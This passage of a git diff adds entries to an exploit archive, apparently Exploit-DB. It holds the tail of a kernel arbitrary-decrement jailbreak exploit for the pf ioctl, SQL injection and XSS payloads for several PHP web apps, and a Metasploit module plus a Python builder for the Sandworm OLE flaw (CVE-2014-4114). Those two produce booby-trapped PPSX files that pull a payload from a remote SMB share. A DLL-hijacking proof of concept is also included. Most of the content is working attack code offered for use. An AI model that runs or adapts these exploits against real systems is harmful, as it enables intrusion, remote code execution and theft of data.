//offsetof(struct pfr_ktable, pfrkt_refcnt[PFR_REFCNT_RULE]) = 0x4a4
|
||||
pr.rule.overload_tbl = (void *)(addr - 0x4a4);
|
||||
|
||||
errno = 0;
|
||||
|
||||
assert(!ioctl(pffd, DIOCADDRULE, &pr));
|
||||
|
||||
assert(!ioctl(pffd, DIOCXCOMMIT, &trans));
|
||||
|
||||
pr.action = PF_CHANGE_REMOVE;
|
||||
assert(!ioctl(pffd, DIOCCHANGERULE, &pr));
|
||||
}
|
||||
|
||||
########################################################################################################
|
||||
The vulnerability is located in the DIOCADDRULE ioctl handler, due to improper initialization of the overload_tbl field, which can be later exploited in the DIOCCHANGERULE handler. The following code snippet shows the relevant parts of those handlers :
|
||||
########################################################################################################
|
||||
|
||||
//bsd/net/pf_ioctl.c
|
||||
static int
|
||||
pfioctl(dev_t dev, u_long cmd, caddr_t addr, int flags, struct proc *p)
|
||||
{
|
||||
//...
|
||||
switch (cmd) {
|
||||
//...
|
||||
case DIOCADDRULE: {
|
||||
struct pfioc_rule *pr = (struct pfioc_rule *)addr;
|
||||
struct pf_ruleset *ruleset;
|
||||
|
||||
//...
|
||||
|
||||
//copy structure passed from userspace
|
||||
bcopy(&pr->rule, rule, sizeof (struct pf_rule));
|
||||
rule->cuid = kauth_cred_getuid(p->p_ucred);
|
||||
rule->cpid = p->p_pid;
|
||||
rule->anchor = NULL;
|
||||
rule->kif = NULL;
|
||||
TAILQ_INIT(&rule->rpool.list);
|
||||
/* initialize refcounting */
|
||||
rule->states = 0;
|
||||
rule->src_nodes = 0;
|
||||
rule->entries.tqe_prev = NULL;
|
||||
|
||||
//...
|
||||
|
||||
if (rule->overload_tblname[0]) {
|
||||
if ((rule->overload_tbl = pfr_attach_table(ruleset,
|
||||
rule->overload_tblname)) == NULL)
|
||||
error = EINVAL;
|
||||
else
|
||||
rule->overload_tbl->pfrkt_flags |=
|
||||
PFR_TFLAG_ACTIVE;
|
||||
}
|
||||
//...
|
||||
|
||||
case DIOCCHANGERULE: {
|
||||
//...
|
||||
if (pcr->action == PF_CHANGE_REMOVE) {
|
||||
pf_rm_rule(ruleset->rules[rs_num].active.ptr, oldrule);
|
||||
ruleset->rules[rs_num].active.rcount--;
|
||||
}
|
||||
//...
|
||||
}
|
||||
|
||||
//...
|
||||
}
|
||||
################################################################################################
|
||||
The rule field of the pfioc_rule structure passed from userland is copied into a kernel buffer, and then some of the structure fields are reinitialized. However, if rule->overload_tblname[0] is zero, the rule->overload_tbl pointer won't be initialized properly and will retain the value passed from userland. When the rule is removed, the pf_rm_rule function calls pfr_detach_table which in turn decrements a reference counter using the invalid pointer, allowing an arbitrary decrement anywhere in kernel memory :
|
||||
##############################################################################################
|
||||
//bsd/net/pf_ioctl.c
|
||||
void
|
||||
pf_rm_rule(struct pf_rulequeue *rulequeue, struct pf_rule *rule)
|
||||
{
|
||||
if (rulequeue != NULL) {
|
||||
if (rule->states <= 0) {
|
||||
/*
|
||||
* XXX - we need to remove the table *before* detaching
|
||||
* the rule to make sure the table code does not delete
|
||||
* the anchor under our feet.
|
||||
*/
|
||||
pf_tbladdr_remove(&rule->src.addr);
|
||||
pf_tbladdr_remove(&rule->dst.addr);
|
||||
if (rule->overload_tbl)
|
||||
pfr_detach_table(rule->overload_tbl);
|
||||
}
|
||||
//...
|
||||
}
|
||||
|
||||
|
||||
//bsd/net/pf_table.c
|
||||
void
|
||||
pfr_detach_table(struct pfr_ktable *kt)
|
||||
{
|
||||
lck_mtx_assert(pf_lock, LCK_MTX_ASSERT_OWNED);
|
||||
|
||||
if (kt->pfrkt_refcnt[PFR_REFCNT_RULE] <= 0)
|
||||
printf("pfr_detach_table: refcount = %d.\n",
|
||||
kt->pfrkt_refcnt[PFR_REFCNT_RULE]);
|
||||
else if (!--kt->pfrkt_refcnt[PFR_REFCNT_RULE]) //arbitrary decrement happens here
|
||||
pfr_setflags_ktable(kt, kt->pfrkt_flags&~PFR_TFLAG_REFERENCED);
|
||||
}
|
||||
|
||||
###############################################################################################
|
||||
In order to decrement the dword at address addr, the pwn function of comex's exploit sets the pr.rule.overload_tbl to addr minus 0x4a4, which is the value of offsetof(struct pfr_ktable, pfrkt_refcnt[PFR_REFCNT_RULE]) on a 32 bit architecture. The exploit decrement the syscall 0 handler address in the sysent array which holds function pointers for all system calls. A trampoline shellcode is mapped at a specific address chosen so that only the most significant byte of the original pointer has to be decremented (the minimum amount to move the pointer from kernel space down to user space). This trampoline will simply call the ok_go C function which will patch various functions in the kernel to perform the jailbreak : make code signing checks return true, disable W^X policy, and restore the overwritten syscall handler.
|
120
platforms/php/webapps/34800.txt
Executable file
120
platforms/php/webapps/34800.txt
Executable file
|
@ -0,0 +1,120 @@
|
|||
Mogwai Security Advisory MSA-2014-02
|
||||
----------------------------------------------------------------------
|
||||
Title: JobControl (dmmjobcontrol) Multiple Vulnerabilities
|
||||
Product: dmmjobcontrol (Typo3 Extension)
|
||||
Affected versions: 2.14.0
|
||||
Impact: high
|
||||
Remote: yes
|
||||
Product link: http://typo3.org/extensions/repository/view/dmmjobcontrol
|
||||
Reported: 05/09/2014
|
||||
by: Hans-Martin Muench (Mogwai, IT-Sicherheitsberatung Muench)
|
||||
|
||||
|
||||
Vendor's Description of the Software:
|
||||
----------------------------------------------------------------------
|
||||
JobControl (dmmjobcontrol) is a TYPO3 extension for showing jobs
|
||||
("vacancies") on your website. It provides a list- and detail view and
|
||||
the ability to search and apply for jobs. It can even make RSS feeds of
|
||||
your joblist.
|
||||
|
||||
It works with html templates so it's easy to configure how the extension
|
||||
will look for your site. The list can be shown as a "paginated list",
|
||||
including a page-browser. The extension itself is multi-lingual, at this
|
||||
moment English, Danish, Polish, German, Russian and Dutch are included.
|
||||
The best feature however is that multi-lingual jobs are fully supported
|
||||
too, so you can provide a translation for a job if you have a multi-lingual
|
||||
site.
|
||||
|
||||
JobControl uses MM-relation tables for regions, branches, sectors etc.
|
||||
This means that for every new site, you can make a new list of branches to
|
||||
use. They are not hardcoded and don't require any TypoScript to set up.
|
||||
|
||||
JobControl is very easy to set up, with good default templates that can
|
||||
be styled to your needs using css stylesheets. It's very powerful and
|
||||
flexible too with lots of configuration options for advanced users.
|
||||
|
||||
|
||||
Business recommendation:
|
||||
----------------------------------------------------------------------
|
||||
According to the Typo3 Security Team the extension maintainer does not
|
||||
maintain the extension any longer and thus, is not providing an update.
|
||||
|
||||
Exploitation can be prevented with the workaround below. However, the
|
||||
extension should be replaced with a maintained alternative.
|
||||
|
||||
Vulnerability description:
|
||||
----------------------------------------------------------------------
|
||||
1) Unauthenticated Blind SQL Injection
|
||||
dmmjobcontrol provides a search function for the job database. Several
|
||||
input fields (for example education, region, sector) are used without
|
||||
proper sanitization to create the SELECT statement of the search query.
|
||||
|
||||
2) Reflected Cross Site Scripting (XSS)
|
||||
The value of the "keyword" parameter is used without any sanitization
|
||||
to create the html response of the search request. This can be abused
|
||||
to inject malicious HTML/JavaScript code into the HTML response.
|
||||
|
||||
|
||||
Proof of concept:
|
||||
----------------------------------------------------------------------
|
||||
1) Unauthenticated Blind SQL Injection
|
||||
The following PoC shows blind based SQL injection on the sector parameter, other
|
||||
parameters are also vulnerable
|
||||
http://xxxx/jobs/?tx_dmmjobcontrol_pi1%5Bsearch_submit%5D=Search&tx_dmmjobcontrol_pi1%5Bsearch%5D%5Bsector%5D%5B%5D=3%29and%20benchmark%2820000000%2csha1%281%29%29--%20
|
||||
|
||||
2) Reflected Cross Site Scripting (XSS)
|
||||
http://172.16.37.232/typo3/jobs/?tx_dmmjobcontrol_pi1%5Bsearch_submit%5D=Search&tx_dmmjobcontrol_pi1%5Bsearch%5D%5Bkeyword%5D=">
|
||||
|
||||
Vulnerable / tested versions:
|
||||
----------------------------------------------------------------------
|
||||
dmmjobcontrol 2.14.0
|
||||
|
||||
|
||||
Disclosure timeline:
|
||||
----------------------------------------------------------------------
|
||||
05/09/2014: Reporting to the Typo3 Security team
|
||||
05/09/2014: Response from Typo3 Security team that they received the mail
|
||||
24/09/2014: Mail to Typo3 Security team, asking for the current status
|
||||
25/09/2014: Response from Typo3 Security Team that they released an advisory[1]
|
||||
25/09/2014: Release of public advisory
|
||||
|
||||
|
||||
Workaround (use on your own responsiblity):
|
||||
----------------------------------------------------------------------
|
||||
In the file:
|
||||
typo3conf/ext/dmmjobcontrol/pi1/class.tx_dmmjobcontrol_pi1.php
|
||||
|
||||
To fix the Cross Site Scripting (XSS) vulnerability, replace line 112 with the
|
||||
following PHP code:
|
||||
$markerArray['###KEYWORD_VALUE###'] =
|
||||
htmlspecialchars($session['search']['keyword'], ENT_QUOTES);
|
||||
|
||||
To fix the SQL Injection vulnerability, replace line 257 with the following
|
||||
PHP code:
|
||||
$whereAdd[] = $table.'.uid_local=tx_dmmjobcontrol_job.uid AND
|
||||
('.$table.'.uid_foreign='.implode(' OR '.$table.'.uid_foreign=',
|
||||
intval($value)).')';
|
||||
|
||||
|
||||
References:
|
||||
----------------------------------------------------------------------
|
||||
[1] TYPO3-EXT-SA-2014-012: Several vulnerabilities in extension JobControl
|
||||
(dmmjobcontrol)
|
||||
http://typo3.org/teams/security/security-bulletins/typo3-extensions/typo3-ext-sa-2014-012
|
||||
|
||||
|
||||
--
|
||||
|
||||
*Best regards*
|
||||
|
||||
*Attacker: Adler - Team: FreiheitFacebook:
|
||||
https://www.facebook.com/adler.freiheit
|
||||
<https://www.facebook.com/adler.freiheit>*
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
*We are a white hat hacker.We are looking for security vulnerabilities. And
|
||||
let you know.But we do not damage your system.*
|
||||
*follow me! if you are interested in us!*
|
9
platforms/php/webapps/35009.txt
Executable file
9
platforms/php/webapps/35009.txt
Executable file
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/45003/info
|
||||
|
||||
AuraCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
AuraCMS 1.62 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/pdf.php?id=140+AND+1=2+UNION+SELECT+ind0nesianc0der,1,2,3,4,5,6,7
|
13
platforms/php/webapps/35016.txt
Executable file
13
platforms/php/webapps/35016.txt
Executable file
|
@ -0,0 +1,13 @@
|
|||
source: http://www.securityfocus.com/bid/45066/info
|
||||
|
||||
Easy Banner Free is prone to multiple SQL-injection and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage the HTML-injection issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.
|
||||
|
||||
The attacker may exploit the SQL-injection issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
Easy Banner Free 2009.05.18 is vulnerable; other versions may also be affected.
|
||||
|
||||
username: ' or 1#
|
||||
|
||||
password: ' or 'a'='a
|
13
platforms/php/webapps/35017.txt
Executable file
13
platforms/php/webapps/35017.txt
Executable file
|
@ -0,0 +1,13 @@
|
|||
source: http://www.securityfocus.com/bid/45066/info
|
||||
|
||||
Easy Banner Free is prone to multiple SQL-injection and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage the HTML-injection issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.
|
||||
|
||||
The attacker may exploit the SQL-injection issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
Easy Banner Free 2009.05.18 is vulnerable; other versions may also be affected.
|
||||
|
||||
'siteurl' : http://"><script>alert(XSS)</script><aa aa="
|
||||
|
||||
'urlbanner' : "><script>alert(XSS)</script><aa aa=".gif
|
7
platforms/php/webapps/35022.txt
Executable file
7
platforms/php/webapps/35022.txt
Executable file
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/45079/info
|
||||
|
||||
4homepages 4images is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
|
||||
|
||||
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
|
||||
|
||||
http://www.example.com/4images/categories.php?cat_id=1&page=-2999+%27%29+union/
|
238
platforms/win32/local/35020.rb
Executable file
238
platforms/win32/local/35020.rb
Executable file
|
@ -0,0 +1,238 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "MS14-060 Microsoft Windows OLE Package Manager Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)
|
||||
allowing arbitrary code execution, publicly known as "Sandworm". Platforms such as Windows
|
||||
Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be
|
||||
vulnerable. However, based on our testing, the most reliable setup is on Windows platforms
|
||||
running Office 2013 and Office 2010 SP2. And please keep in mind that some other setups such
|
||||
as using Office 2010 SP1 might be less stable, and sometimes may end up with a crash due to
|
||||
a failure in the CPackage::CreateTempFileName function.
|
||||
|
||||
This module will generate three files: an INF, a GIF, and a PPSX file. You are required to
|
||||
set up a SMB or Samba 3 server and host the INF and GIF there. Systems such as Ubuntu or an
|
||||
older version of Winodws (such as XP) work best for this because they require little
|
||||
configuration to get going. The PPSX file is what you should send to your target.
|
||||
|
||||
In detail, the vulnerability has to do with how the Object Packager 2 component
|
||||
(packager.dll) handles an INF file that contains malicious registry changes, which may be
|
||||
leveraged for code execution. First of all, Packager does not load the INF file directly.
|
||||
But as an attacker, you can trick it to load your INF anyway by embedding the file path as
|
||||
a remote share in an OLE object. The packager will then treat it as a type of media file,
|
||||
and load it with the packager!CPackage::OLE2MPlayerReadFromStream function, which will
|
||||
download it with a CopyFileW call, save it in a temp folder, and pass that information for
|
||||
later. The exploit will do this loading process twice: first for a fake gif file that's
|
||||
actually the payload, and the second for the INF file.
|
||||
|
||||
The packager will also look at each OLE object's XML Presentation Command, specifically the
|
||||
type and cmd property. In the exploit, "verb" media command type is used, and this triggers
|
||||
the packager!CPackage::DoVerb function. Also, "-3" is used as the fake gif file's cmd
|
||||
property, and "3" is used for the INF. When the cmd is "-3", DoVerb will bail. But when "3"
|
||||
is used (again, for the INF file), it will cause the packager to try to find appropriate
|
||||
handler for it, which will end up with C:\Windows\System32\infDefaultInstall.exe, and that
|
||||
will install/run the malicious INF file, and finally give us arbitrary code execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery
|
||||
'sinn3r', # Metasploit module
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-4114'],
|
||||
['OSVDB', '113140'],
|
||||
['MSB', 'MS14-060'],
|
||||
['BID', '70419'],
|
||||
['URL' , 'http://www.isightpartners.com/2014/10/cve-2014-4114/'],
|
||||
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/'],
|
||||
['URL', 'http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows 7 SP1 / Office 2010 SP2 / Office 2013', {}],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Oct 14 2014",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']),
|
||||
OptString.new('UNCPATH', [ true, 'The UNC folder to use (Ex: \\\\192.168.1.1\\share)' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
@unc = validate_unc_path
|
||||
|
||||
if @unc.nil?
|
||||
fail_with(Failure::BadConfig, "UNCPATH must be a remote shared folder")
|
||||
end
|
||||
|
||||
print_status("Creating the EXE payload...")
|
||||
payload_name = "#{rand_text_alpha(4)}.gif"
|
||||
p = generate_payload_exe
|
||||
|
||||
print_status("Creating the INF file...")
|
||||
inf_name = "#{rand_text_alpha(4)}.inf"
|
||||
inf = inf_file(payload_name)
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
exe_stream = ole_exe(payload_name)
|
||||
inf_stream = ole_inf(inf_name)
|
||||
zip = zip_ppsx(exe_stream, inf_stream)
|
||||
file_create(zip)
|
||||
|
||||
payload_path = my_file_create(p, payload_name)
|
||||
print_good("#{payload_name} stored at #{payload_path}, copy it to the remote share: #{@unc}")
|
||||
|
||||
inf_path = my_file_create(inf, inf_name)
|
||||
print_good("#{inf_name} stored at #{inf_path}, copy it to the remote share: #{@unc}")
|
||||
end
|
||||
|
||||
def validate_unc_path
|
||||
if datastore['UNCPATH'] =~ /^\\{2}[[:print:]]+\\[[:print:]]+\\*$/
|
||||
unc = datastore['UNCPATH']
|
||||
else
|
||||
unc = nil
|
||||
end
|
||||
|
||||
unc
|
||||
end
|
||||
|
||||
def my_file_create(data, name)
|
||||
ltype = "exploit.fileformat.#{self.shortname}"
|
||||
path = store_local(ltype, nil, data, name)
|
||||
|
||||
path
|
||||
end
|
||||
|
||||
def zip_ppsx(ole_exe, ole_inf)
|
||||
zip_data = {}
|
||||
data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4114', 'template')
|
||||
|
||||
Dir["#{data_dir}/**/**"].each do |file|
|
||||
unless File.directory?(file)
|
||||
zip_data[file.sub(data_dir,'')] = File.read(file)
|
||||
end
|
||||
end
|
||||
|
||||
# add the otherwise skipped "hidden" file
|
||||
file = "#{data_dir}/_rels/.rels"
|
||||
zip_data[file.sub(data_dir,'')] = File.read(file)
|
||||
|
||||
# put our own OLE streams
|
||||
zip_data['/ppt/embeddings/oleObject1.bin'] = ole_exe
|
||||
zip_data['/ppt/embeddings/oleObject2.bin'] = ole_inf
|
||||
|
||||
# create the ppsx
|
||||
ppsx = Rex::Zip::Archive.new
|
||||
zip_data.each_pair do |k,v|
|
||||
ppsx.add_file(k,v)
|
||||
end
|
||||
|
||||
ppsx.pack
|
||||
end
|
||||
|
||||
def ole_inf(file_name)
|
||||
content = "EmbeddedStg2.txt\x00"
|
||||
content << "#{@unc}\\#{file_name}\x00"
|
||||
|
||||
data = [content.length].pack('V')
|
||||
data << content
|
||||
ole = create_ole("\x01OLE10Native", data)
|
||||
|
||||
ole
|
||||
end
|
||||
|
||||
def ole_exe(file_name)
|
||||
content = "EmbeddedStg1.txt\x00"
|
||||
content << "#{@unc}\\#{file_name}\x00"
|
||||
|
||||
data = [content.length].pack('V')
|
||||
data << content
|
||||
|
||||
ole = create_ole("\x01OLE10Native", data)
|
||||
|
||||
ole
|
||||
end
|
||||
|
||||
def create_ole(stream_name, data)
|
||||
ole_tmp = Rex::Quickfile.new('ole')
|
||||
stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)
|
||||
|
||||
stm = stg.create_stream(stream_name)
|
||||
stm << data
|
||||
stm.close
|
||||
|
||||
directory = stg.instance_variable_get(:@directory)
|
||||
directory.each_entry do |entry|
|
||||
if entry.instance_variable_get(:@_ab) == 'Root Entry'
|
||||
# 02260200-0000-0000-c000-000000000046 # Video clip
|
||||
clsid = Rex::OLE::CLSID.new("\x02\x26\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46")
|
||||
entry.instance_variable_set(:@_clsId, clsid)
|
||||
end
|
||||
end
|
||||
|
||||
# write to disk
|
||||
stg.close
|
||||
|
||||
ole_contents = File.read(ole_tmp.path)
|
||||
ole_tmp.close
|
||||
ole_tmp.unlink
|
||||
|
||||
ole_contents
|
||||
end
|
||||
|
||||
def inf_file(gif_name)
|
||||
inf = <<-EOF
|
||||
; 61883.INF
|
||||
; Copyright (c) Microsoft Corporation. All rights reserved.
|
||||
|
||||
[Version]
|
||||
Signature = "$CHICAGO$"
|
||||
Class=61883
|
||||
ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}
|
||||
Provider=%Msft%
|
||||
DriverVer=06/21/2006,6.1.7600.16385
|
||||
|
||||
[DestinationDirs]
|
||||
DefaultDestDir = 1
|
||||
|
||||
[DefaultInstall]
|
||||
RenFiles = RxRename
|
||||
AddReg = RxStart
|
||||
|
||||
[RxRename]
|
||||
#{gif_name}.exe, #{gif_name}
|
||||
[RxStart]#
|
||||
HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,%1%\\#{gif_name}.exe
|
||||
EOF
|
||||
|
||||
inf
|
||||
end
|
||||
|
||||
end
|
93
platforms/windows/local/35019.py
Executable file
93
platforms/windows/local/35019.py
Executable file
|
@ -0,0 +1,93 @@
|
|||
#!/usr/bin/env python
|
||||
import os
|
||||
import zipfile
|
||||
import sys
|
||||
|
||||
'''
|
||||
Full Exploit: http://www.exploit-db.com/sploits/35019.tar.gz
|
||||
|
||||
Very quick and ugly [SandWorm CVE-2014-4114] exploit builder
|
||||
Exploit Title: CVE-2014-4114 SandWorm builder
|
||||
Built to run on: Linux/MacOSX
|
||||
Date: 17/10/2014
|
||||
Exploit Author: Vlad Ovtchinikov (@v1ad_o)
|
||||
Vendor Homepage: microsoft.com
|
||||
Tested on: Win7Sp1 64 bit - Microsoft Offcie 2013 Plus
|
||||
Demo: http://youtu.be/ljjEkhflpvM
|
||||
CVE : CVE-2014-4114
|
||||
NOTE:
|
||||
expl.inf (md5 8313034e9ab391df83f6a4f242ec5f8d) + expl.zip (md5 4a39121a60cc79d211fc7f7cfe00b707)
|
||||
should be located in the same dir as the builder.
|
||||
01:39 cve-2014-4114.py
|
||||
19:35 expl.inf
|
||||
15:37 expl.zip
|
||||
|
||||
e.g. python cve-2014-4114.py 10.0.0.233 rdb xxx.exe
|
||||
10.0.0.233 - ip
|
||||
rdb - share
|
||||
xxx.exe - dropper
|
||||
'''
|
||||
host=sys.argv[1]
|
||||
share=sys.argv[2]
|
||||
mal_file=sys.argv[3]
|
||||
|
||||
print "\nPoC exploit builder v0.1 for logical OLE flaw in packager.dll [CVE-2014-4114] by vlad@sensepost.com @v1ad_o\n"
|
||||
print "Building ... \n "
|
||||
|
||||
# extract the original .ppsx PoC
|
||||
mal_file= mal_file.replace(' ', '')[:-4].lower()
|
||||
fh = open('expl.zip', 'rb')
|
||||
z = zipfile.ZipFile(fh)
|
||||
for name in z.namelist():
|
||||
outpath = "./tmp"
|
||||
z.extract(name, outpath)
|
||||
fh.close()
|
||||
|
||||
os.mkdir('out')
|
||||
os.chdir('tmp')
|
||||
|
||||
# oleObject1.bin mod for GIF
|
||||
infile = open('ppt/embeddings/oleObject1.bin')
|
||||
outfile = open('ppt/embeddings/1.bin','w')
|
||||
replacements = {'10.0.0.34':host,'public':share,'slide1.gif':mal_file+'.gif'}
|
||||
for line in infile:
|
||||
for src, target in replacements.iteritems():
|
||||
line = line.replace(src, target)
|
||||
outfile.write(line)
|
||||
infile.close()
|
||||
outfile.close()
|
||||
os.remove ('ppt/embeddings/oleObject1.bin')
|
||||
os.rename ('ppt/embeddings/1.bin','ppt/embeddings/oleObject1.bin')
|
||||
|
||||
# oleObject2.bin mod for INF
|
||||
infile = open('ppt/embeddings/oleObject2.bin')
|
||||
outfile = open('ppt/embeddings/2.bin','w')
|
||||
replacements = {'10.0.0.34':host,'public':share,'slide1.inf':mal_file+'.inf'}
|
||||
for line in infile:
|
||||
for src, target in replacements.iteritems():
|
||||
line = line.replace(src, target)
|
||||
outfile.write(line)
|
||||
infile.close()
|
||||
outfile.close()
|
||||
|
||||
os.remove ('ppt/embeddings/oleObject2.bin')
|
||||
os.rename ('ppt/embeddings/2.bin','ppt/embeddings/oleObject2.bin')
|
||||
os.system("zip -q -9 -r ../out/exploit.ppsx * ")
|
||||
os.chdir('..')
|
||||
|
||||
# oleObject2.bin mod for INF prep
|
||||
infile = open('expl.inf')
|
||||
outfile = open('out/'+mal_file+'.inf','w')
|
||||
replacements = {'slide1':mal_file}
|
||||
for line in infile:
|
||||
for src, target in replacements.iteritems():
|
||||
line = line.replace(src, target)
|
||||
outfile.write(line)
|
||||
infile.close()
|
||||
outfile.close()
|
||||
os.system("rm -rf tmp")
|
||||
|
||||
print 'Copy the .inf .gif (renamed file.exe=>file.gif) to:\n'
|
||||
print '*\\\\'+host +'\\'+ share +'\\'+ mal_file+'.gif\n'
|
||||
print '*\\\\'+host +'\\'+ share +'\\'+ mal_file+'.inf\n'
|
||||
print 'Done - collect your files from the [out] folder.\n'
|
74
platforms/windows/remote/35007.c
Executable file
74
platforms/windows/remote/35007.c
Executable file
|
@ -0,0 +1,74 @@
|
|||
source: http://www.securityfocus.com/bid/44989/info
|
||||
|
||||
Multiple products from Native Instruments are prone to multiple vulnerabilities that let attackers execute arbitrary code.
|
||||
|
||||
An attacker can exploit these issues by enticing a legitimate user to use a vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.
|
||||
|
||||
The issues affect the following:
|
||||
|
||||
Guitar Rig 4 Player 4.1.1
|
||||
KONTAKT 4 PLAYER 4.1.3.4125
|
||||
Service Center 2.2.5
|
||||
REAKTOR 5 PLAYER 5.5.1.10584
|
||||
|
||||
/*
|
||||
|
||||
Native Instruments Guitar Rig 4 Player v4.1.1 Insecure Library Loading Vulnerability
|
||||
|
||||
|
||||
Vendor: Native Instruments GmbH
|
||||
Product web page: http://www.native-instruments.com
|
||||
Affected version: 4.1.1.1845 (Standalone)
|
||||
|
||||
Summary: GUITAR RIG 4 PLAYER is the free, modular and expandable effects processor
|
||||
from Native Instruments, combining creative effects routing possibilities with
|
||||
ease-of-use and pristine sound quality. The included FACTORY SELECTION library
|
||||
provides one stunning Amp emulation with Matched Cabinet, plus 20 effects and sound
|
||||
modifiers to shape and enhance any audio signal.
|
||||
|
||||
Desc: Guitar Rig 4 Player suffers from a DLL hijacking vulnerability, which could be
|
||||
exploited by remote attackers to compromise a vulnerable system. This issue is
|
||||
caused due to the application insecurely loading certain libraries ("libjack.dll")
|
||||
from the current working directory, which could allow attackers to execute arbitrary
|
||||
code by tricking a user into opening specific related files (.nkm and .nkp) from a
|
||||
network share.
|
||||
|
||||
Tested on: Microsoft Windows XP Professional SP3 (English)
|
||||
|
||||
Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
|
||||
liquidworm gmail com
|
||||
|
||||
Zero Science Lab - http://www.zeroscience.mk
|
||||
|
||||
Advisory ID: ZSL-2010-4973
|
||||
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4973.php
|
||||
|
||||
06.11.2010
|
||||
|
||||
*/
|
||||
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
|
||||
{
|
||||
|
||||
switch (fdwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
dll_mll();
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int dll_mll()
|
||||
{
|
||||
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
|
||||
}
|
||||
|
||||
|
Loading…
Add table
Reference in a new issue